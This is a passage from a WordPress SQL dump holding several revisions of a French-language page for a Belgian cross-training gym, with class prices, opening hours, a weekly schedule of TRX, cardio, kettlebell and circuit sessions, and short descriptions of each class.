votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 30%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 17:01:59', '2013-07-03 17:01:59', '', 11, 'http://www.crosstrainingcenter.be/?p=179', 0, 'revision', '', 0),
(180, 1, '2013-07-03 17:02:21', '2013-07-03 17:02:21', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 personnes).\r\n\r\n\r\n&lt;table &gt;\r\n&lt;tr class=\&quot;tabb\&quot;&gt;\r\n&lt;td &gt;LUNDI&lt;/td&gt;\r\n&lt;td &gt;MARDI&lt;/td&gt;\r\n&lt;td &gt;MERCREDI&lt;/td&gt;\r\n&lt;td &gt;JEUDI&lt;/td&gt;\r\n&lt;td &gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr class=\&quot;tabb\&quot;&gt;\r\n&lt;td &gt;17h30&lt;/td&gt;\r\n&lt;td &gt;TRX&lt;/td&gt;\r\n&lt;td &gt;CARDIO&lt;/td&gt;\r\n&lt;td &gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td &gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/table&gt;\r\n\r\n\r\n\r\nEn semaine :\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;theure\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td  class=\&quot;theure\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td  class=\&quot;theure\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td  class=\&quot;theure\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; border-bottom: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n\r\n\r\n\r\n\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 30%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 17:02:21', '2013-07-03 17:02:21', '', 11, 'http://www.crosstrainingcenter.be/?p=180', 0, 'revision', '', 0),
(181, 1, '2013-07-03 17:03:11', '2013-07-03 17:03:11', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 personnes).\r\n\r\n\r\n&lt;table &gt;\r\n&lt;tr class=\&quot;tabb\&quot;&gt;\r\n&lt;td &gt;LUNDI&lt;/td&gt;\r\n&lt;td &gt;MARDI&lt;/td&gt;\r\n&lt;td &gt;MERCREDI&lt;/td&gt;\r\n&lt;td &gt;JEUDI&lt;/td&gt;\r\n&lt;td &gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr class=\&quot;tabb\&quot;&gt;\r\n&lt;td &gt;17h30&lt;/td&gt;\r\n&lt;td &gt;TRX&lt;/td&gt;\r\n&lt;td &gt;CARDIO&lt;/td&gt;\r\n&lt;td &gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td &gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/table&gt;\r\n\r\n\r\n\r\nEn semaine :\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;theure\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td  class=\&quot;theure\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td  class=\&quot;theure\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td  class=\&quot;theure\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; border-bottom: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n\r\n\r\n\r\n\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- 